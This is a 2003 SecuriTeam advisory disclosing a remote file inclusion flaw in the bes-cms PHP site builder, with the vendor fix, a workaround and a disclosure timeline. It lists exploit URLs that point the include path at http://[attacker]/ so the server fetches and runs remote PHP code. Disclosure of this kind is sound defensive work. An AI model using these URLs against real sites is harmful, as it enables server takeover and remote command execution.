[UNIX] BES-CMS File Inclusion Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 12/22/03

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Date: 22 Dec 2003 15:23:27 +0200

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      BES-CMS File Inclusion Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://bes.h6p.org> bes-cms is "a professional dynamic php website
    building tool. It was developed at mokka by a bored programmer. Bes-cms is
    capable of creating images galleries, message boards, news sections
    download sections contact sections and many more to be added on the plugin
    server". A vulnerability has been discovered in bes-cms that allows remote
    attackers to cause the script to include arbitrary PHP code (allows remote
    command execution).

    DETAILS

    Vulnerable systems:
     * bes-cms version 0.4 rc3
     * bes-cms version 0.5 rc3

    Immune systems:
     * bes-cms version 0.5 rc4

    In the files:
     * index.inc.php
     * Members/index.inc.php
     * Members/root/index.inc.php

    We can see the following code:
    include_once($PATH__Includes."actions_default.php");

    In the Include/functions_folder.php file :
    include($PATH__Includes.'functions_folder_modules.php');
    include($PATH__Includes.'functions_folder_plugins.php');
    include($PATH__Includes.'functions_folder_files.php');

    In the Include/functions_hacking.php file :
    switch($_GET['itemID'])
    {
     case 'usershow':
     include_once("".$PATH__Includes."functions_user.php");
     Show_USer_Details($_GET['user']);
     break;
     [...]
     case 'send_bug':
     if ($UserDetails['LOGGED_IN'] == 'YES')
     {
     global $PATH__Includes;
     include_once("".$PATH__Includes."functions_error.php");
     send_bug_report();
     }
    break;
    [...]
    case 'content_view':
    global $PATH___Includes;
    include_once("".$PATH__Includes."functions_message_docTypes.php");
    Message_Centent_View($Plugin_Path);
    break;

    case 'logger':
    global $PATH__Includes;
    include_once("".$PATH__Includes."functions_users.php");
    Loggin_Message();
    break;

    case 'search':
    global $PATH__Includes;
    include_once("".$PATH__Includes."functions_general.php");
    Display_Search_Results($_POST['search_str']);
    break;
    [...]

    In the Include/functions_message.php file:
    include($PATH__Includes.'functions_message_docTypes.php');
    include($PATH__Includes.'functions_message_edit.php');

    In addition, in the Include/Start.php file:
    include_once($inc_path."Include/vars.php");

    Making all these files vulnerable. We can see that all inclusions of file
    begin by a indefinite variable in the code ($inc_path or $PATH_Includes)
    and so could be definite by an attacker.

    Exploits:
    If register_globals=ON has been marked we can exploit any of the below
    URLs to cause it to include external files.

    The following URLs will cause the server to include external files:
    http://[target]/index.inc.php?PATH_Includes=http://[attacker]/
    http://[target]/Members/index.inc.php?PATH_Includes=http://[attacker]/
    http://[target]/Members/root/index.inc.php?PATH_Includes=http://[attacker]/

    The requested file will be http://[attacker]/actions_default.php.

    The following URL will cause the server to include:
    http://[target]/Include/functions_folder.php?PATH_Includes=http://[attacker]/

    The requested files will be
    http://[attacker]/functions_folder_modules.php,
    http://[attacker]/functions_folder_plugins.php,
    http://[attacker]/functions_folder_files.php.

    The following URLs will cause the server to include external files:
    http://[target]/Include/functions_hacking.php?PATH_Includes=http://[attacker]/&itemID=usershow
    http://[target]/Include/functions_hacking.php?PATH_Includes=http://[attacker]/&itemID=logger

    The requested file will be http://[attacker]/functions_user.php

    The following URL will cause the server to include external files:
    http://[target]/Include/functions_hacking.php?PATH_Includes=http://[attacker]/&itemID=send_bug&UserDetails[LOGGED_IN]=YES

    The requested file will be http://[attacker]/functions_error.php.

    The following URL will cause the server to include external files:
    http://[target]/Include/functions_hacking.php?PATH_Includes=http://[attacker]/&itemID=content_view.

    The requested file will be
    http://[attacker]/functions_message_docTypes.php.

    The following URL will cause the server to include external files:
    http://[target]/Include/functions_hacking.php?PATH_Includes=http://[attacker]/&itemID=search

    The requested file will be http://[attacker]/functions_general.php.

    The following URL will cause the server to include external files:
    http://[target]/Include/functions_message.php?PATH_Includes=http://[attacker]/.

    The requested files will be
    http://[attacker]/functions_message_docTypes.php,
    http://[attacker]/functions_message_edit.php.

    The following URL will cause the server to include external files:
    http://[target]/Include/Start.php?inc_path=http://[attacker]/

    The requested file will be http://[attacker]/Include/vars.php.

    Solution:
    The creator was notified, and has created an immune version (version 0.5
    rc4).

    Workaround:
    In index.inc.php, Members/index.inc.php, Members/root/index.inc.php,
    Include/functions_folder.php, Include/functions_hacking.php and
    Include/functions_message.php simply add the following line as the first
    line:

    if (isset($_REQUEST["PATH__Includes"])){ die("Patched by phpSecure.info");
    }

    And at the begining of the Include/Start.php file, add the following line
    as the first line:
    if (isset($_REQUEST["inc_path"])){ die("Patched by phpSecure.info"); }

    Disclosure timeline:
    13/12/2003 Vulnerability discovered
    14/12/2003 Vendor notified
    15/12/2003 Vendor response
    15/12/2003 Security Corporation clients notified
    15/12/2003 Started e-mail discussions
    20/12/2003 Last e-mail received
    20/12/2003 Public disclosure

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:frog-man@security-corporation.com> frog-m@n.

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